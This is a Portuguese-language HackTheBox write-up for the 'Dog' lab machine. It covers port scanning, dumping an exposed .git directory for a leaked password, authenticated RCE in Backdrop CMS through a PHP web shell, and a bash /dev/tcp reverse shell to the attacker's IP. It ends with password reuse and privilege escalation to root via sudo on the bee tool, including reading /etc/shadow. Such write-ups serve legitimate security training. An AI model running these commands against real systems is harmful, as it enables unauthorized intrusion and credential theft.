> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/dog-hackthebox-writeup.md).

# Resolução da máquina Dog do HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Dog>" %}

{% hint style="warning" %}
**Habilidades:**

* Extraindo informações da pasta .git (vazamento de informações)
* Execução Remota de Código autenticada (CMS Backdrop)
* Pivotando (reutilização de senha)
* Binário sudo bee (execução de código PHP) (elevação de privilégios)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/d8c526ece6383d4d54fdd7424b101dae633df54d" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/f2da9a1cedf6a789df894131331d09f69e50ba9a" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.58 -oG allPorts
```

<figure><img src="/files/b6f97400ca1b923e616b6dce9ac2d456dff8dd87" alt=""><figcaption></figcaption></figure>

**Varredura de versão de portas com Nmap 22,80:**

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p22,80 10.10.11.58 -oN targeted 
```

<figure><img src="/files/11242ca0665d4895365058dc4af4ac7cedad3dec" alt=""><figcaption></figcaption></figure>

### Porta 80 - HTTP

<figure><img src="/files/9c461625f08e825d6ed6093bb851beb1cee87fde" alt=""><figcaption></figcaption></figure>

Descobrimos um **.git** diretório, indicando um possível repositório Git acessível publicamente. O site usa o **Backdrop** CMS.

<figure><img src="/files/5f5b5435ed5324ead9816014f95a056a82de1787" alt=""><figcaption></figcaption></figure>

**Enumeração com Gobuster**

```bash
gobuster dir -u http://10.10.11.58 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

Encontramos vários diretórios interessantes, incluindo **.git**.

<figure><img src="/files/ca872a75f2cbd7b12204c367e3aca4675086915f" alt=""><figcaption></figcaption></figure>

**dump de repositório Git**

Recuperamos o conteúdo do repositório com:

```git
git-dumper http://10.10.11.58/.git .git
```

<figure><img src="/files/1b5af4040b351f45e0790929221b369349739ce9" alt=""><figcaption></figcaption></figure>

Encontramos um **settings.php** arquivo contendo uma senha:

<figure><img src="/files/5454a2c3653b6bfe0dae213479bba262338254ea" alt=""><figcaption></figcaption></figure>

Procuramos e-mails salvos com:

```bash
find .git -type f -exec grep -E '@dog' {} +
```

Encontramos o seguinte e-mail: **<tiffany@dog.htb>**.

<figure><img src="/files/5bfcf2a67083fe704ac8c7b32116d37cd88d9073" alt=""><figcaption></figcaption></figure>

## **Exploração do CMS Backdrop (RCE)**

Usamos as credenciais encontradas para conectar ao CMS.

<figure><img src="/files/553290fb73004a80744101baff41e1ce9dc867dc" alt=""><figcaption></figcaption></figure>

**Buscar vulnerabilidades**

Com **searchsploit**, identificamos uma falha de RCE:

```bash
searchsploit -m php/webapps/52021.py
```

<figure><img src="/files/1781ef5b5c718439e038a4d0b17830200966804a" alt=""><figcaption></figcaption></figure>

Executamos o exploit:

```bash
python3 52021.py http://10.10.11.58
```

Isso gera um arquivo ZIP contendo uma shell PHP.

<figure><img src="/files/2ce3cf4bdc8888c60a762d2a5cdda3ef976082a5" alt=""><figcaption></figcaption></figure>

Em seguida, compactamos a shell em **tar.gz**:

```bash
tar -czvf shell.tar.gz shell
```

<figure><img src="/files/eb6b3149f31d45a924a80e810710e9588b712ddc" alt=""><figcaption></figcaption></figure>

Injetamos isso via **admin / installer / manual**.

<figure><img src="/files/c74fc7a4b81e5e89156a893249592b6d6f6774f4" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/61dbd7777d29edc5d16976a514f406e7aa32f806" alt=""><figcaption></figcaption></figure>

**finalização do pedido**

Encontramos uma pasta **modules/cmd/** contendo **cmd.php**

<figure><img src="/files/79b41cc8f1f1feede9f8e1d10bd4e328d117aa9e" alt=""><figcaption></figcaption></figure>

Permitindo-nos executar comandos:

```bash
ifconfig 
```

<figure><img src="/files/1ec242cb047f0fea49a2e4b41ae52b37a5f24a5d" alt=""><figcaption></figcaption></figure>

### **Reverse Shell no Backdrop CMS**

Abrimos um listener na porta 443:

```bash
nc -nlvp 443 
```

Injetamos um payload:

```bash
bash -c "bash -i >&/dev/tcp/10.10.14.81/443 0>&1"
```

<figure><img src="/files/6bd9f1105bd6ffc595b645eb79339e4534c87a58" alt=""><figcaption></figcaption></figure>

Depois de conectados, estabilizamos nossa shell:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## **Escalada de privilégios**

### **Pivotando para o usuário johncusack**

Listamos usuários com uma shell Bash válida:

```bash
cat /etc/passwd | grep "/bash"
```

Encontramos **root, jobert e johncusack**.

<figure><img src="/files/582c9390c14b0c43aa899a8a062d021cd680e6b1" alt=""><figcaption></figcaption></figure>

Tentamos reutilizar as credenciais e obtemos acesso com:

```bash
su johncusack
BackDropJ2024DS2024
```

<figure><img src="/files/7fc8c7307d73f9fdcbf9da2cb1e2d438efd055ab" alt=""><figcaption></figcaption></figure>

### Flag user.txt :)

<figure><img src="/files/4d1edd56a7322f92f0c745c7e0059e72e8f080de" alt="" width="557"><figcaption></figcaption></figure>

### **Elevação de privilégios com o binário Bee**

Verificamos os privilégios sudo:

```bash
sudo -l
```

Podemos executar **/usr/local/bin/bee** como root.

<figure><img src="/files/3a6d4a1b13abfabda886b67b483535400f44007a" alt=""><figcaption></figcaption></figure>

**Análise do Bee**

{% hint style="info" %}
Bee é uma ferramenta de administração para **Backdrop CMS**, semelhante ao **Drush** para Drupal. Ela permite a execução de vários comandos.
{% endhint %}

`Uso: bee [opções-globais] [opções] [argumentos]`

<figure><img src="/files/2624fd4a01a5fd48acc6881903bac293b48aabe9" alt=""><figcaption></figcaption></figure>

Identificamos a opção **eval** que permite executar código PHP arbitrário.

<figure><img src="/files/1831a6ebca577176341dfe54c36d085bda270855" alt=""><figcaption></figcaption></figure>

**Leitura `/etc/shadow`**

{% code overflow="wrap" %}

```bash
sudo /usr/local/bin/bee --root=/var/www/html eval 'echo shell_exec("cat /etc/shadow 2>&1");'
```

{% endcode %}

<figure><img src="/files/2bb8ae5e47c6d204379cf6681231bf6327c0e46c" alt=""><figcaption></figcaption></figure>

**Shell de Root Obtida**

{% code overflow="wrap" %}

```bash
sudo /usr/local/bin/bee --root=/var/www/html eval 'shell_exec("/bin/bash -p");'
```

{% endcode %}

<figure><img src="/files/700eac89ff7562b769fa49b7bacef3656059f89c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/75a9d97dc4a5226ccea70a3a0d3cdfb67a0fccd0" alt="" width="398"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/dog-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
